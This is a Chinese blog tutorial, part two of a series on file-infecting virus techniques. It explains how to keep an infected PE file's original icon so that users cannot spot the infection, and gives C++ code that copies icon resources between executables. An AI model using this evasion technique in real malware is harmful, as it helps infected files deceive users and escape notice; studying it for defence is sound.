作者:冒险王

在上半部分的实验中我们得到了宿主文件的图标所在的位置,大小和数量。并将它们的信息保存起来,有了这些信息,我们就可以任意施展易容术了!要知道在程序中的图标资源只是编译后的一连串的二进制数值,所以我们在确定其位置时容不得半点误差。在提取时少了一位或多了一位都会导致其面目全非。前面的方法提取的信息有多精确呢?我在装有Windows不同版本系统的虚拟实验环境下的N次实验证明,其精确程度达到了0误差。

老的问题解决了,新的问题又出来了。在一个PE文件内会有多个图标,而且不同的图标在其外观,大小和分辨率等都存在着差异。我们肉眼看到的其实只是其中的一个图标资源。那么问题就在于我们如何知道系统显示的是其中的哪一个图标?特别是那些存在着数十个图标资源的程序比如QQ安装程序,如果我们选择错误的图标资源来"易容",那么不但无法易容,反而会使宿主程序毁容。轻则图标出现明显的锯齿,重则完全变成另外一种图标。比如QQ安装程序的小企鹅图标变成了一个大圆球,虽然大圆球也是其内部图标资源。这是困扰着大多数病毒作者的比较头疼的问题。目前世面上的很多文件感染型病毒都存在着这样的技术缺陷,所以网络上流传用肉眼识别图标来判断文件是否糟病毒感染的方法并非是无稽之谈!

图标被改变或者出现锯齿的程序文件一定有问题!熊猫烧香病毒的作者深知现在的网民不是傻瓜,易容无法实现也就只能来个彻底的毁容。他想嘲讽和挑战网络世界,于是乎成千上万的国宝点着香来了。这是个不错的理由!言归正传,在一段相当长的时间里我一直在思考是否有种方法可以弥补这一缺陷,我查阅了大量资料,期间我接触到有一种观点声称在图标资源数组里的第一个图标资源便是在系统上显示的那个图标。我做了下感染实验,果然有效!但是我发现这种方法只能应用于低版本图标尺寸的PE文件,比如你感染一些16x16尺寸图标的老程序时,易容基本上很成功。但遇到那些高清晰的程序图标的PE文件时,就会出现明显的锯齿,比如电驴安装程序,感染后那只卡通驴就会变的非常模糊且边缘充满明显的锯齿。这令我大失所望!
  
           所以,我不得不从新去思考PE图标加载的流程。这浪费了我很多时间,并且始终未有结果。到后来我干脆抛开理论自己研究起来,在大约百来次实验过程中,我总结出一个规律:在WindowsNT操作系统中,PE文件所显示的图标为与其图标资源中尺寸最大的并且分辨率最高为48x48图标资源非常接近,如果不存在此尺寸则从上往下依次类推。我称之为最佳配对,并且原宿主的中的最佳配对要小于感染后混合体图标的最大尺寸并且两者之差要能被1024整除。
           虽然最佳配对和PE显示图标并非每次都是属于同一个图标资源,但是其相似程度从肉眼上是无法区分开来的!感染后的效果不但不会出现锯齿,并且清晰度较原先的图标有过之而无不及,这一发现令我异常兴奋,我设计了一套算法来实现之,下面是核心代码:

/*
*代码功能:修改PE文件图标
*将szSrc的图标写入szDst内
*冒险王
*/

bool ModifyIcon(TCHAR szDst[256],TCHAR szSrc[256])
{
    DWORD SrcWritePos,SrcWriteSize,DstWritePos,DstWriteSize;
    char* SrcBuf;
    int sum;
    if (!GetPos(szSrc,1))
    {
        return false;
    }

if (!GetPos(szDst,2))
    {

return false;
    }
    if (dwSize2[0]<dwSize1[count1-1])
    {

return false;
    }
    //多数服从少数
   
if (count1>count2||count1==count2)
    {
        sum=count2;
        for (int i=0;i<sum;i++)
        {
            for (int a=0;(a+i)<count1;a++)
            {
                if (dwSize1[a+i]==dwSize2[i]||dwSize1[a+i]<dwSize2[i])
                    if ((dwSize2[i]-dwSize1[a+i])%1024==0||dwSize1[a+i]==744)//小于744就不是图标了
                   
{

DWORD dwBytesRead , dwByteWritten;
                        HANDLE fp = CreateFile(szSrc, GENERIC_READ,
                                               0,
                                               NULL,
                                               OPEN_EXISTING,
                                               FILE_ATTRIBUTE_NORMAL,
                                               NULL);
                        SetFilePointer(fp,dwPos1[a+i],NULL,FILE_BEGIN);
                        SrcBuf = new char [dwSize1[a+i]];
                        ReadFile(fp,SrcBuf,dwSize1[a+i],&dwBytesRead,NULL);
                        CloseHandle(fp);
                        HANDLE ff = CreateFile(szDst,GENERIC_WRITE|GENERIC_READ,
                                               0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
                        SetFilePointer(ff,dwPos2[i],NULL,FILE_BEGIN);
                        WriteFile(ff,SrcBuf,dwSize1[a+i],&dwByteWritten,NULL);
                        CloseHandle(ff);
                        return true;
                    }

}
        }
    }
    else
    {

sum=count1;
        for (int i=0;i<sum;i++)
        {
            for (int a=0;(a+i)<count2;a++)
            {
                if (dwSize2[a+i]==dwSize1[i]||dwSize2[a+i]>dwSize1[i])

{
                    DWORD dwBytesRead , dwByteWritten;
                    HANDLE fp = CreateFile(szSrc, GENERIC_READ,
                                           0,
                                           NULL,
                                           OPEN_EXISTING,
                                           FILE_ATTRIBUTE_NORMAL,
                                           NULL);
                    SetFilePointer(fp,dwPos1[i],NULL,FILE_BEGIN);
                    SrcBuf = new char [dwSize1[i]];
                    ReadFile(fp,SrcBuf,dwSize1[i],&dwBytesRead,NULL);
                    CloseHandle(fp);

HANDLE ff = CreateFile(szDst,GENERIC_WRITE|GENERIC_READ,
                                           0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
                    SetFilePointer(ff,dwPos2[a+i],NULL,FILE_BEGIN);
                    WriteFile(ff,SrcBuf,dwSize1[i],&dwByteWritten,NULL);
                    CloseHandle(ff);
                    return true;
                }

}
        }

}
    return true;
}

再联系上半段获取PE图标的代码,你就知道我设那些奇怪数字的用意了 。对图标资源的重新排序我选择了C语言的经典算法:冒泡。
为什么要对获取的图标资源进行重新排序?因为在PE文件中图标资源默认的排列顺序并不遵循我所期望的那样以尺寸大小为依据。在排序后就可以利用我得出的规律来进行筛选,再进行配对和写入。写入的原理很简单,我就不作赘述了。经过这道工序,那么感染后的宿主文件图标就不会再出现锯齿和模糊现象了!病毒易容术到此就OK了,我觉的最关键是其中的选择方法,其实有些难题的解决并不需要多少深奥的理论,自己多做做实验多去总结就会有收获的。不要只Copy别人的形式,在编程中一定要有自己的见解。
  
            其实要使被感染的宿主文件图标不被改变有很多方法,我只阐述其中的这一种-易容术!希望可以让你更深层次的理解病毒原理并为你的学习带来帮助。在下一期,我会揭示病毒隐藏进程的原理。有兴趣的朋友请继续关注,和冒险王一起到程序的世界探险吧!

从编程角度揭示病毒感染原理--之百变星君(病毒易容术)(下)相关推荐

  1. 从编程角度揭示病毒感染原理--之乾坤大挪移(PE病毒文件感染原理)

    从编程角度揭示病毒感染原理                                                            --之乾坤大挪移(PE病毒文件感染原理) 作者:冒险王 ...

  2. 百变星君,Python变量两三事

    百变星君,Python变量两三事 什么是变量 变量就是不断变化的量.在Python中假设有一个变量A,它的值是233,我们可以写成 A=233 print(A) 得到结果233. 我们还可以将A赋值成 ...

  3. 百变星君 Array.reduce

    Vue3 商城项目开源地址:https://github.com/newbee-ltd/newbee-mall-vue3-app Vue3 高仿微信记账本项目开源地址:https://github.c ...

  4. 痞子衡嵌入式:恩智浦i.MX RT1xxx系列MCU外设那些事(2)- 百变星君FlexRAM

    大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家介绍的是恩智浦i.MX RT1xxx系列MCU的FlexRAM外设. 本文是外设系列第二篇,上一篇讲的是离内核最近的高速缓存L1 Cache,今 ...

  5. 电子积木fx微型计算机,百变星君|你搭建过“电子积木”吗?

    曾否憧憬自己亲手搭建理想的小世界? 长大啦~不##意思玩了? 现在当然要玩点###的~ 能实现的梦想是什么? 曾经你想要用积木搭建属于自己的帝国 现在!童年里你想筑造的世界CE-32系列也能帮你实现 ...

  6. 百变星君---项目初始化搭建

    目录 一:项目初始化: 二:配置MYSQL数据库: 三:配置Redis数据库: 四:配置模块化: 五:自定义JSON的返回格式: 六:再次登录断开连接 一:项目初始化: 1:在app/settings ...

  7. 百变星君---用户模块

    目录 一:获取验证码: 二:注册登录: 三:获取用户信息: 四:Tocken刷新机制: 五:修改用户头像: 5.1: 七牛云头像测试: 5.2:项目中封装七牛云: 5.3:检验图片类型和封装: 5.4 ...

  8. 百变星君---头条模块

    这里写目录标题 一:获取用户频道: 1.1: 数据的准备: 1.2:接口分析: 1.3:接口代码: 1.4:路由信息与测试: 二:获取所有频道: 2.1:文章模块初始化: 2.2:获取所有频道接口: ...

  9. 百变星君---文章模块(1)

    目录 一:获取文章详情: 1:文章详情表分析: 2:录入文章内容表数据: 3:编写思路: 4:关注作者的实现: 5:收藏关系和态度关系: 二:关注用户: 1: 需求分析: 2:代码实现: 三:取消关注 ...

最新文章

  1. MySQL数据库中外键SQL语句的编写
  2. FaaS — Serverless Computing(无服务器计算)
  3. linux密码修改时间,linux 查看、修改用户及密码过期时间(示例代码)
  4. python从字符串解析方法名
  5. python安装第三方库
  6. nginx+tomcat的keepalive验证、bio/nio连接比较
  7. map的extract 是更换 map 的键而不重分配的唯一方式:
  8. MFC操作Excel2003的CRange类的Copy函数和Delete函数实现方法
  9. 最著名的10位程序员,你都知道吗?
  10. VC realize the transparent windows
  11. 网易云易盾牵手百视通 助力广电领域新媒体内容安全
  12. php赋值一个数组,PHP入门教程之数组的定义和赋值
  13. strace的简单用法
  14. Arduino基础学习-SG90舵机的使用
  15. pytroch教程(一)
  16. 用“等待-通知”机制优化循环等待
  17. linux mint回收站,Autotrash:定时自动删除旧垃圾的命令行工具
  18. 【华人学者风采】杨鸣波 四川大学
  19. 单片机加减法计算器_单片机加法计算器程序
  20. 大数据技术发展影响因素有哪些?

热门文章

  1. 苹果电脑win10双系统如何进入安全模式
  2. mysql联合主键语句6_初探SQL语句复合主键与联合主键
  3. Facebook 招不到工程师
  4. 佛科院单片机原理1——80C51单片机结构
  5. Andrej Karpathy的炼丹技巧
  6. 如何将多个excel表格合并成一个_如何将两个连续竖版的PDF页面合并成一个横版...
  7. 随心所欲的Web页面打印技术 20(转载)
  8. 放任情绪是愚蠢的做法
  9. Xshell 5 连接本地开发板步骤
  10. android手机开发安卓版本,OPPO首个完成CCC 2.0数字车钥匙开发的安卓厂商